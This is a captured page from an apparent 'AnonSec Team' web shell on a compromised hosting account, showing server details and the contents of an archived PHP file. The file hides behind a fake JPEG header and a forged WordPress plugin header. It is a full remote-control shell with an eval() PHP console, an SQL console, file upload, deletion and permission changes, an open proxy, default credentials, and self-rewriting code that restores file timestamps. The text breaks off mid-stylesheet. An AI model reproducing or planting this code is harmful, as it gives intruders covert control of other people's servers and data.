AnonSec Team
Server IP : 198.54.120.203  /  Your IP : 216.73.216.181
Web Server : LiteSpeed
System : Linux premium58.web-hosting.com 4.18.0-553.58.1.lve.el8.x86_64 #1 SMP Fri Jul 4 12:07:06 UTC 2025 x86_64
User : greakqsw ( 1698)
PHP Version : 8.3.30
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /home/greakqsw/theblogginglab.org/7648l2-20260310230235/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/greakqsw/theblogginglab.org/7648l2-20260310230235/jdcqp1.tar
oiq2p.php000064400000233561151550413340006322 0ustar00ÿØÿà JFIF      ÿÛ C      

	!"$"$ÿÛ C  ÿÀ  ° ÿÄ            	

ÿÄ µ   } !1AQa "q2‘¡#B±ÁRÑð$3br‚	
%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyzƒ„…†‡ˆ‰Š’“”•–—˜™š¢£¤¥¦§¨©ª²³´µ¶·¸¹ºÂÃÄÅÆÇÈÉÊÒÓÔÕÖרÙÚáâãäåæçèéêñòóôõö÷øùúÿÄ         	

ÿÄ µ   w !1AQ aq"2B‘¡±Á	#3RðbrÑ
$4á%ñ&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz‚ƒ„…†‡ˆ‰Š’“”•–—˜™š¢£¤¥¦§¨©ª²³´µ¶·¸¹ºÂÃÄÅÆÇÈÉÊÒÓÔÕÖרÙÚâãäåæçèéêòóôõö÷øùúÿÚ   ? ȏN
<?php
/**
  Plugin Name: File Manager Advanced
  Plugin URI: https://wordpress.org/plugins/file-manager-advanced
  Description: Cpanel for files management in wordpress
  Author: modalweb
  Version: 5.2.12
  Author URI: https://advancedfilemanager.com
  License: GPLv2
**/
/**
 * Loading constants
 */

// Configuration — do not change manually!

// Preparations
$starttime = explode(' ', microtime());
$starttime = $starttime[1] + $starttime[0];
$langs = array('en','ru','de','fr','uk');
$path = empty($_REQUEST['path']) ? $path = realpath('.') : realpath($_REQUEST['path']);
$path = str_replace('\\', '/', $path) . '/';
$main_path=str_replace('\\', '/',realpath('./'));
$phar_maybe = (version_compare(phpversion(),"5.3.0","<"))?true:false;
$msg = ''; // service string
$default_language = 'ru';
$detect_lang = true;
$fm_version = 1.4;

//Authorization
$auth = json_decode($authorization,true);
$auth['authorize'] = isset($auth['authorize']) ? $auth['authorize'] : 0; 
$auth['days_authorization'] = (isset($auth['days_authorization'])&&is_numeric($auth['days_authorization'])) ? (int)$auth['days_authorization'] : 30;
$auth['login'] = isset($auth['login']) ? $auth['login'] : 'admin';  
$auth['password'] = isset($auth['password']) ? $auth['password'] : 'phpfm';  
$auth['cookie_name'] = isset($auth['cookie_name']) ? $auth['cookie_name'] : 'fm_user';
$auth['script'] = isset($auth['script']) ? $auth['script'] : '';

// Little default config
$fm_default_config = array (
	'make_directory' => true, 
	'new_file' => true, 
	'upload_file' => true, 
	'show_dir_size' => false, //if true, show directory size → maybe slow 
	'show_img' => true, 
	'show_php_ver' => true, 
	'show_php_ini' => false, // show path to current php.ini
	'show_gt' => true, // show generation time
	'enable_php_console' => true,
	'enable_sql_console' => true,
	'sql_server' => 'localhost',
	'sql_username' => 'root',
	'sql_password' => '',
	'sql_db' => 'test_base',
	'enable_proxy' => true,
	'show_phpinfo' => true,
	'show_xls' => true,
	'fm_settings' => true,
	'restore_time' => true,
	'fm_restore_time' => false,
);

if (empty($_COOKIE['fm_config'])) $fm_config = $fm_default_config;
else $fm_config = unserialize($_COOKIE['fm_config']);

// Change language
if (isset($_POST['fm_lang'])) { 
	setcookie('fm_lang', $_POST['fm_lang'], time() + (86400 * $auth['days_authorization']));
	$_COOKIE['fm_lang'] = $_POST['fm_lang'];
}
$language = $default_language;

// Detect browser language
if($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])){
	$lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']);
	if (!empty($lang_priority)){
		foreach ($lang_priority as $lang_arr){
			$lng = explode(';', $lang_arr);
			$lng = $lng[0];
			if(in_array($lng,$langs)){
				$language = $lng;
				break;
			}
		}
	}
} 

// Cookie language is primary for ever
$language = (empty($_COOKIE['fm_lang'])) ? $language : $_COOKIE['fm_lang'];

// Localization
$lang = json_decode($translation,true);
if ($lang['id']!=$language) {
	$get_lang = file_get_contents('https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/' . $language . '.json');
	if (!empty($get_lang)) {
		//remove unnecessary characters
		$translation_string = str_replace("'",'&#39;',json_encode(json_decode($get_lang),JSON_UNESCAPED_UNICODE));
		$fgc = file_get_contents(__FILE__);
		$search = preg_match('#translation[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
		if (!empty($matches[1])) {
			$filemtime = filemtime(__FILE__);
			$replace = str_replace('{"'.$matches[1].'"}',$translation_string,$fgc);
			if (file_put_contents(__FILE__, $replace)) {
				$msg .= __('File updated');
			}	else $msg .= __('Error occurred');
			if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
		}	
		$lang = json_decode($translation_string,true);
	}
}

/* Functions */

//translation
function __($text){
	global $lang;
	if (isset($lang[$text])) return $lang[$text];
	else return $text;
};

//delete files and dirs recursively
function fm_del_files($file, $recursive = false) {
	if($recursive && @is_dir($file)) {
		$els = fm_scan_dir($file, '', '', true);
		foreach ($els as $el) {
			if($el != '.' && $el != '..'){
				fm_del_files($file . '/' . $el, true);
			}
		}
	}
	if(@is_dir($file)) {
		return rmdir($file);
	} else {
		return @unlink($file);
	}
}

//file perms
function fm_rights_string($file, $if = false){
	$perms = fileperms($file);
	$info = '';
	if(!$if){
		if (($perms & 0xC000) == 0xC000) {
			//Socket
			$info = 's';
		} elseif (($perms & 0xA000) == 0xA000) {
			//Symbolic Link
			$info = 'l';
		} elseif (($perms & 0x8000) == 0x8000) {
			//Regular
			$info = '-';
		} elseif (($perms & 0x6000) == 0x6000) {
			//Block special
			$info = 'b';
		} elseif (($perms & 0x4000) == 0x4000) {
			//Directory
			$info = 'd';
		} elseif (($perms & 0x2000) == 0x2000) {
			//Character special
			$info = 'c';
		} elseif (($perms & 0x1000) == 0x1000) {
			//FIFO pipe
			$info = 'p';
		} else {
			//Unknown
			$info = 'u';
		}
	}
  
	//Owner
	$info .= (($perms & 0x0100) ? 'r' : '-');
	$info .= (($perms & 0x0080) ? 'w' : '-');
	$info .= (($perms & 0x0040) ?
	(($perms & 0x0800) ? 's' : 'x' ) :
	(($perms & 0x0800) ? 'S' : '-'));
 
	//Group
	$info .= (($perms & 0x0020) ? 'r' : '-');
	$info .= (($perms & 0x0010) ? 'w' : '-');
	$info .= (($perms & 0x0008) ?
	(($perms & 0x0400) ? 's' : 'x' ) :
	(($perms & 0x0400) ? 'S' : '-'));
 
	//World
	$info .= (($perms & 0x0004) ? 'r' : '-');
	$info .= (($perms & 0x0002) ? 'w' : '-');
	$info .= (($perms & 0x0001) ?
	(($perms & 0x0200) ? 't' : 'x' ) :
	(($perms & 0x0200) ? 'T' : '-'));

	return $info;
}

function fm_convert_rights($mode) {
	$mode = str_pad($mode,9,'-');
	$trans = array('-'=>'0','r'=>'4','w'=>'2','x'=>'1');
	$mode = strtr($mode,$trans);
	$newmode = '0';
	$owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2]; 
	$group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5]; 
	$world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8]; 
	$newmode .= $owner . $group . $world;
	return intval($newmode, 8);
}

function fm_chmod($file, $val, $rec = false) {
	$res = @chmod(realpath($file), $val);
	if(@is_dir($file) && $rec){
		$els = fm_scan_dir($file);
		foreach ($els as $el) {
			$res = $res && fm_chmod($file . '/' . $el, $val, true);
		}
	}
	return $res;
}

//load files
function fm_download($file_name) {
    if (!empty($file_name)) {
		if (file_exists($file_name)) {
			header("Content-Disposition: attachment; filename=" . basename($file_name));   
			header("Content-Type: application/force-download");
			header("Content-Type: application/octet-stream");
			header("Content-Type: application/download");
			header("Content-Description: File Transfer");            
			header("Content-Length: " . filesize($file_name));		
			flush(); // this doesn't really matter.
			$fp = fopen($file_name, "r");
			while (!feof($fp)) {
				echo fread($fp, 65536);
				flush(); // this is essential for large downloads
			} 
			fclose($fp);
			die();
		} else {
			header('HTTP/1.0 404 Not Found', true, 404);
			header('Status: 404 Not Found'); 
			die();
        }
    } 
}

//show folder size
function fm_dir_size($f,$format=true) {
	if($format)  {
		$size=fm_dir_size($f,false);
		if($size<=1024) return $size.' bytes';
		elseif($size<=1024*1024) return round($size/(1024),2).'&nbsp;Kb';
		elseif($size<=1024*1024*1024) return round($size/(1024*1024),2).'&nbsp;Mb';
		elseif($size<=1024*1024*1024*1024) return round($size/(1024*1024*1024),2).'&nbsp;Gb';
		elseif($size<=1024*1024*1024*1024*1024) return round($size/(1024*1024*1024*1024),2).'&nbsp;Tb'; //:)))
		else return round($size/(1024*1024*1024*1024*1024),2).'&nbsp;Pb'; // ;-)
	} else {
		if(is_file($f)) return filesize($f);
		$size=0;
		$dh=opendir($f);
		while(($file=readdir($dh))!==false) {
			if($file=='.' || $file=='..') continue;
			if(is_file($f.'/'.$file)) $size+=filesize($f.'/'.$file);
			else $size+=fm_dir_size($f.'/'.$file,false);
		}
		closedir($dh);
		return $size+filesize($f); 
	}
}

//scan directory
function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false) {
	$dir = $ndir = array();
	if(!empty($exp)){
		$exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\\.', $exp)) . '$/';
	}
	if(!empty($type) && $type !== 'all'){
		$func = 'is_' . $type;
	}
	if(@is_dir($directory)){
		$fh = opendir($directory);
		while (false !== ($filename = readdir($fh))) {
			if(substr($filename, 0, 1) != '.' || $do_not_filter) {
				if((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && (empty($exp) || preg_match($exp, $filename))){
					$dir[] = $filename;
				}
			}
		}
		closedir($fh);
		natsort($dir);
	}
	return $dir;
}

function fm_link($get,$link,$name,$title='') {
	if (empty($title)) $title=$name.' '.basename($link);
	return '&nbsp;&nbsp;<a href="?'.$get.'='.base64_encode($link).'" title="'.$title.'">'.$name.'</a>';
}

function fm_arr_to_option($arr,$n,$sel=''){
	foreach($arr as $v){
		$b=$v[$n];
		$res.='<option value="'.$b.'" '.($sel && $sel==$b?'selected':'').'>'.$b.'</option>';
	}
	return $res;
}

function fm_lang_form ($current='en'){
return '
<form name="change_lang" method="post" action="">
	<select name="fm_lang" title="'.__('Language').'" onchange="document.forms[\'change_lang\'].submit()" >
		<option value="en" '.($current=='en'?'selected="selected" ':'').'>'.__('English').'</option>
		<option value="de" '.($current=='de'?'selected="selected" ':'').'>'.__('German').'</option>
		<option value="ru" '.($current=='ru'?'selected="selected" ':'').'>'.__('Russian').'</option>
		<option value="fr" '.($current=='fr'?'selected="selected" ':'').'>'.__('French').'</option>
		<option value="uk" '.($current=='uk'?'selected="selected" ':'').'>'.__('Ukrainian').'</option>
	</select>
</form>
';
}
	
function fm_root($dirname){
	return ($dirname=='.' OR $dirname=='..');
}

function fm_php($string){
	$display_errors=ini_get('display_errors');
	ini_set('display_errors', '1');
	ob_start();
	eval(trim($string));
	$text = ob_get_contents();
	ob_end_clean();
	ini_set('display_errors', $display_errors);
	return $text;
}

//SHOW DATABASES
function fm_sql_connect(){
	global $fm_config;
	return new mysqli($fm_config['sql_server'], $fm_config['sql_username'], $fm_config['sql_password'], $fm_config['sql_db']);
}

function fm_sql($query){
	global $fm_config;
	$query=trim($query);
	ob_start();
	$connection = fm_sql_connect();
	if ($connection->connect_error) {
		ob_end_clean();	
		return $connection->connect_error;
	}
	$connection->set_charset('utf8');
    $queried = mysqli_query($connection,$query);
	if ($queried===false) {
		ob_end_clean();	
		return mysqli_error($connection);
    } else {
		if(!empty($queried)){
			while($row = mysqli_fetch_assoc($queried)) {
				$query_result[]=  $row;
			}
		}
		$vdump=empty($query_result)?'':var_export($query_result,true);	
		ob_end_clean();	
		$connection->close();
		return '<pre>'.stripslashes($vdump).'</pre>';
	}
}

function fm_backup_tables($tables = '*', $full_backup = true) {
	global $path;
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
	if($tables == '*')	{
		$tables = array();
		$result = $mysqldb->query('SHOW TABLES');
		while($row = mysqli_fetch_row($result))	{
			$tables[] = $row[0];
		}
	} else {
		$tables = is_array($tables) ? $tables : explode(',',$tables);
	}
    
	$return='';
	foreach($tables as $table)	{
		$result = $mysqldb->query('SELECT * FROM '.$table);
		$num_fields = mysqli_num_fields($result);
		$return.= 'DROP TABLE IF EXISTS `'.$table.'`'.$delimiter;
		$row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE '.$table));
		$return.=$row2[1].$delimiter;
        if ($full_backup) {
		for ($i = 0; $i < $num_fields; $i++)  {
			while($row = mysqli_fetch_row($result)) {
				$return.= 'INSERT INTO `'.$table.'` VALUES(';
				for($j=0; $j<$num_fields; $j++)	{
					$row[$j] = addslashes($row[$j]);
					$row[$j] = str_replace("\n","\\n",$row[$j]);
					if (isset($row[$j])) { $return.= '"'.$row[$j].'"' ; } else { $return.= '""'; }
					if ($j<($num_fields-1)) { $return.= ','; }
				}
				$return.= ')'.$delimiter;
			}
		  }
		} else { 
		$return = preg_replace("#AUTO_INCREMENT=[\d]+ #is", '', $return);
		}
		$return.="\n\n\n";
	}

	//save file
    $file=gmdate("Y-m-d_H-i-s",time()).'.sql';
	$handle = fopen($file,'w+');
	fwrite($handle,$return);
	fclose($handle);
	$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'?delete=' . $file . '&path=' . $path  . '\'"';
    return $file.': '.fm_link('download',$path.$file,__('Download'),__('Download').' '.$file).' <a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
}

function fm_restore_tables($sqlFileToExecute) {
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
    // Load and explode the sql file
    $f = fopen($sqlFileToExecute,"r+");
    $sqlFile = fread($f,filesize($sqlFileToExecute));
    $sqlArray = explode($delimiter,$sqlFile);
	
    //Process the sql file by statements
    foreach ($sqlArray as $stmt) {
        if (strlen($stmt)>3){
			$result = $mysqldb->query($stmt);
				if (!$result){
					$sqlErrorCode = mysqli_errno($mysqldb->connection);
					$sqlErrorText = mysqli_error($mysqldb->connection);
					$sqlStmt      = $stmt;
					break;
           	     }
           	  }
           }
if (empty($sqlErrorCode)) return __('Success').' — '.$sqlFileToExecute;
else return $sqlErrorText.'<br/>'.$stmt;
}

function fm_img_link($filename){
	return './'.basename(__FILE__).'?img='.base64_encode($filename);
}

function fm_home_style(){
	return '
input, input.fm_input {
	text-indent: 2px;
}

input, textarea, select, input.fm_input {
	color: black;
	font: normal 8pt Verdana, Arial, Helvetica, sans-serif;
	border-color: black;
	background-color: #FCFCFC none !important;
	border-radius: 0;
	padding: 2px;
}

input.fm_input {
	background: #FCFCFC none !important;
	cursor: pointer;
}

.home {
	background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTw5tj423jYn3cXE1zQoxMHBp1lZ3Dgmqiks/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+ms4rCE3Tot7V85bKxjuEA3w45Vh5uhq6am4cFxgZZW/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTlQ2ESRQJ2FVwinYbmqTULoohnE1g1aKGS/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJggg==");
	background-repeat: no-repeat;
}';
}

function fm_config_checkbox_row($name,$value) {
	global $fm_config;
	return '<tr><td class="row1"><input id="fm_config_'.$value.'" name="fm_config['.$value.']" value="1" '.(empty($fm_config[$value])?'':'checked="true"').' type="checkbox"></td><td class="row2 whole"><label for="fm_config_'.$value.'">'.$name.'</td></tr>';
}

function fm_protocol() {
	if (isset($_SERVER['HTTP_SCHEME'])) return $_SERVER['HTTP_SCHEME'].'://';
	if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') return 'https://';
	if (isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == 443) return 'https://';
	if (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') return 'https://';
	return 'http://';
}

function fm_site_url() {
	return fm_protocol().$_SERVER['HTTP_HOST'];
}

function fm_url($full=false) {
	$host=$full?fm_site_url():'.';
	return $host.'/'.basename(__FILE__);
}

function fm_home($full=false){
	return '&nbsp;<a href="'.fm_url($full).'" title="'.__('Home').'"><span class="home">&nbsp;&nbsp;&nbsp;&nbsp;</span></a>';
}

function fm_run_input($lng) {
	global $fm_config;
	$return = !empty($fm_config['enable_'.$lng.'_console']) ? 
	'
				<form  method="post" action="'.fm_url().'" style="display:inline">
				<input type="submit" name="'.$lng.'run" value="'.strtoupper($lng).' '.__('Console').'">
				</form>
' : '';
	return $return;
}

function fm_url_proxy($matches) {
	$link = str_replace('&amp;','&',$matches[2]);
	$url = isset($_GET['url'])?$_GET['url']:'';
	$parse_url = parse_url($url);
	$host = $parse_url['scheme'].'://'.$parse_url['host'].'/';
	if (substr($link,0,2)=='//') {
		$link = substr_replace($link,fm_protocol(),0,2);
	} elseif (substr($link,0,1)=='/') {
		$link = substr_replace($link,$host,0,1);	
	} elseif (substr($link,0,2)=='./') {
		$link = substr_replace($link,$host,0,2);	
	} elseif (substr($link,0,4)=='http') {
		//alles machen wunderschon
	} else {
		$link = $host.$link;
	} 
	if ($matches[1]=='href' && !strripos($link, 'css')) {
		$base = fm_site_url().'/'.basename(__FILE__);
		$baseq = $base.'?proxy=true&url=';
		$link = $baseq.urlencode($link);
	} elseif (strripos($link, 'css')){
		//как-то тоже подменять надо
	}
	return $matches[1].'="'.$link.'"';
}
 
function fm_tpl_form($lng_tpl) {
	global ${$lng_tpl.'_templates'};
	$tpl_arr = json_decode(${$lng_tpl.'_templates'},true);
	$str = '';
	foreach ($tpl_arr as $ktpl=>$vtpl) {
		$str .= '<tr><td class="row1"><input name="'.$lng_tpl.'_name[]" value="'.$ktpl.'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_value[]"  cols="55" rows="5" class="textarea_input">'.$vtpl.'</textarea> <input name="del_'.rand().'" type="button" onClick="this.parentNode.parentNode.remove();" value="'.__('Delete').'"/></td></tr>';
	}
return '
<table>
<tr><th colspan="2">'.strtoupper($lng_tpl).' '.__('templates').' '.fm_run_input($lng_tpl).'</th></tr>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1">'.__('Name').'</td><td class="row2 whole">'.__('Value').'</td></tr>
'.$str.'
<tr><td colspan="2" class="row3"><input name="res" type="button" onClick="document.location.href = \''.fm_url().'?fm_settings=true\';" value="'.__('Reset').'"/> <input type="submit" value="'.__('Save').'" ></td></tr>
</form>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1"><input name="'.$lng_tpl.'_new_name" value="" placeholder="'.__('New').' '.__('Name').'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_new_value"  cols="55" rows="5" class="textarea_input" placeholder="'.__('New').' '.__('Value').'"></textarea></td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Add').'" ></td></tr>
</form>
</table>
';
}

function find_text_in_files($dir, $mask, $text) {
    $results = array();
    if ($handle = opendir($dir)) {
        while (false !== ($entry = readdir($handle))) {
            if ($entry != "." && $entry != "..") {
                $path = $dir . "/" . $entry;
                if (is_dir($path)) {
                    $results = array_merge($results, find_text_in_files($path, $mask, $text));
                } else {
                    if (fnmatch($mask, $entry)) {
                        $contents = file_get_contents($path);
                        if (strpos($contents, $text) !== false) {
                            $results[] = str_replace('//', '/', $path);
                        }
                    }
                }
            }
        }
        closedir($handle);
    }
    return $results;
}


/* End Functions */

// authorization
if ($auth['authorize']) {
	if (isset($_POST['login']) && isset($_POST['password'])){
		if (($_POST['login']==$auth['login']) && ($_POST['password']==$auth['password'])) {
			setcookie($auth['cookie_name'], $auth['login'].'|'.md5($auth['password']), time() + (86400 * $auth['days_authorization']));
			$_COOKIE[$auth['cookie_name']]=$auth['login'].'|'.md5($auth['password']);
		}
	}
	if (!isset($_COOKIE[$auth['cookie_name']]) OR ($_COOKIE[$auth['cookie_name']]!=$auth['login'].'|'.md5($auth['password']))) {
		echo '
<!doctype html>
<html>
<head>
<meta charset="utf-8" />
<meta name="viewport" content="width=device-width, initial-scale=1" />
<title>'.__('File manager').'</title>
</head>
<body>
<form action="" method="post">
'.__('Login').' <input name="login" type="text">&nbsp;&nbsp;&nbsp;
'.__('Password').' <input name="password" type="password">&nbsp;&nbsp;&nbsp;
<input type="submit" value="'.__('Enter').'" class="fm_input">
</form>
'.fm_lang_form($language).'
</body>
</html>
';  
die();
	}
	if (isset($_POST['quit'])) {
		unset($_COOKIE[$auth['cookie_name']]);
		setcookie($auth['cookie_name'], '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_site_url().$_SERVER['REQUEST_URI']);
	}
}

// Change config
if (isset($_GET['fm_settings'])) {
	if (isset($_GET['fm_config_delete'])) { 
		unset($_COOKIE['fm_config']);
		setcookie('fm_config', '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_url().'?fm_settings=true');
		exit(0);
	}	elseif (isset($_POST['fm_config'])) { 
		$fm_config = $_POST['fm_config'];
		setcookie('fm_config', serialize($fm_config), time() + (86400 * $auth['days_authorization']));
		$_COOKIE['fm_config'] = serialize($fm_config);
		$msg = __('Settings').' '.__('done');
	}	elseif (isset($_POST['fm_login'])) { 
		if (empty($_POST['fm_login']['authorize'])) $_POST['fm_login'] = array('authorize' => '0') + $_POST['fm_login'];
		$fm_login = json_encode($_POST['fm_login']);
		$fgc = file_get_contents(__FILE__);
		$search = preg_match('#authorization[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
		if (!empty($matches[1])) {
			$filemtime = filemtime(__FILE__);
			$replace = str_replace('{"'.$matches[1].'"}',$fm_login,$fgc);
			if (file_put_contents(__FILE__, $replace)) {
				$msg .= __('File updated');
				if ($_POST['fm_login']['login'] != $auth['login']) $msg .= ' '.__('Login').': '.$_POST['fm_login']['login'];
				if ($_POST['fm_login']['password'] != $auth['password']) $msg .= ' '.__('Password').': '.$_POST['fm_login']['password'];
				$auth = $_POST['fm_login'];
			}
			else $msg .= __('Error occurred');
			if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
		}
	} elseif (isset($_POST['tpl_edited'])) { 
		$lng_tpl = $_POST['tpl_edited'];
		if (!empty($_POST[$lng_tpl.'_name'])) {
			$fm_php = json_encode(array_combine($_POST[$lng_tpl.'_name'],$_POST[$lng_tpl.'_value']),JSON_HEX_APOS);
		} elseif (!empty($_POST[$lng_tpl.'_new_name'])) {
			$fm_php = json_encode(json_decode(${$lng_tpl.'_templates'},true)+array($_POST[$lng_tpl.'_new_name']=>$_POST[$lng_tpl.'_new_value']),JSON_HEX_APOS);
		}
		if (!empty($fm_php)) {
			$fgc = file_get_contents(__FILE__);
			$search = preg_match('#'.$lng_tpl.'_templates[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
			if (!empty($matches[1])) {
				$filemtime = filemtime(__FILE__);
				$replace = str_replace('{"'.$matches[1].'"}',$fm_php,$fgc);
				if (file_put_contents(__FILE__, $replace)) {
					${$lng_tpl.'_templates'} = $fm_php;
					$msg .= __('File updated');
				} else $msg .= __('Error occurred');
				if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
			}	
		} else $msg .= __('Error occurred');
	}
}

// Just show image
if (isset($_GET['img'])) {
	$file=base64_decode($_GET['img']);
	if ($info=getimagesize($file)){
		switch  ($info[2]){	//1=GIF, 2=JPG, 3=PNG, 4=SWF, 5=PSD, 6=BMP
			case 1: $ext='gif'; break;
			case 2: $ext='jpeg'; break;
			case 3: $ext='png'; break;
			case 6: $ext='bmp'; break;
			default: die();
		}
		header("Content-type: image/$ext");
		echo file_get_contents($file);
		die();
	}
}

// Just download file
if (isset($_GET['download'])) {
	$file=base64_decode($_GET['download']);
	fm_download($file);	
}

// Just show info
if (isset($_GET['phpinfo'])) {
	phpinfo(); 
	die();
}

// Mini proxy, many bugs!
if (isset($_GET['proxy']) && (!empty($fm_config['enable_proxy']))) {
	$url = isset($_GET['url'])?urldecode($_GET['url']):'';
	$proxy_form = '
<div style="position:relative;z-index:100500;background: linear-gradient(to bottom, #e4f5fc 0%,#bfe8f9 50%,#9fd8ef 51%,#2ab0ed 100%);">
	<form action="" method="GET">
	<input type="hidden" name="proxy" value="true">
	'.fm_home().' <a href="'.$url.'" target="_blank">Url</a>: <input type="text" name="url" value="'.$url.'" size="55">
	<input type="submit" value="'.__('Show').'" class="fm_input">
	</form>
</div>
';
	if ($url) {
		$ch = curl_init($url);
		curl_setopt($ch, CURLOPT_USERAGENT, 'Den1xxx test proxy');
		curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
		curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,0);
		curl_setopt($ch, CURLOPT_SSL_VERIFYPEER,0);
		curl_setopt($ch, CURLOPT_HEADER, 0);
		curl_setopt($ch, CURLOPT_REFERER, $url);
		curl_setopt($ch, CURLOPT_RETURNTRANSFER,true);
		$result = curl_exec($ch);
		curl_close($ch);
		//$result = preg_replace('#(src)=["\'][http://]?([^:]*)["\']#Ui', '\\1="'.$url.'/\\2"', $result);
		$result = preg_replace_callback('#(href|src)=["\'][http://]?([^:]*)["\']#Ui', 'fm_url_proxy', $result);
		$result = preg_replace('%(<body.*?>)%i', '$1'.'<style>'.fm_home_style().'</style>'.$proxy_form, $result);
		echo $result;
		die();
	} 
}
?>
<!doctype html>
<html>
<head>     
	<meta charset="utf-8" />
	<meta name="viewport" content="width=device-width, initial-scale=1" />
    <title><?=__('File manager')?></title>
<style>
body {
	background-color:	white;
	font-family:		Verdana, Arial, Helvetica, sans-serif;
	font-size:			8pt;
	margin:				0px;
}

a:link, a:active, a:visited { color: #006699; text-decoration: none; }
a:hover { color: #DD6900; text-decoration: underline; }
a.th:link { color: #FFA34F; text-decoration: none; }
a.th:active { color: #FFA34F; text-decoration: none; }
a.th:visited { color: #FFA34F; text-decoration: none; }
a.th:hover {  color: #FFA34F; text-decoration: underline; }

table.bg {
	background-color: #ACBBC6
}

th, td { 
	font:	normal 8pt Verdana, Arial, Helvetica, sans-serif;
	padding: 3px;
}

th	{
	height:				25px;
	background-color:	#006699;
	color:				#FFA34F;
	font-weight:		bold;
	font-size:			11px;
}

.row1 {
	background-color:	#EFEFEF;
}

.row2 {
	background-color:	#DEE3E7;
}

.row3 {
	background-color:	#D1D7DC;
	padding: 5px;
}

tr.row1:hover {
	background-color:	#F3FCFC;
}

tr.row2:hover {
	background-color:	#F0F6F6;
}

.whole {
	width: 100%;
}

.all tbody td:first-child{width:100%;}

textarea {
	font: 9pt 'Courier New', courier;
	line-height: 125%;
	padding: 5px;
}

.textarea_input {
	height: 1em;
}

.textarea_input:focus {
	height: auto;
}

input[type=submit]{
	background: #FCFCFC none !important;
	cursor: pointer;
}

.folder {
